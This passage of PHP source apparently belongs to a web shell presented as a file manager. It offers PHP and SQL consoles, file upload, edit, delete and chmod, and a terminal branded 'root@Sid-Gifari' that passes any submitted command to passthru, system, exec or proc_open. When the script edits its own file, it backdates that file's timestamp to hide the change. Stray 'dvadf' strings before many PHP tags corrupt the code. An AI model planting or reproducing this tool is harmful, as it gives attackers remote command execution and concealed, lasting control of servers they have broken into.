    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
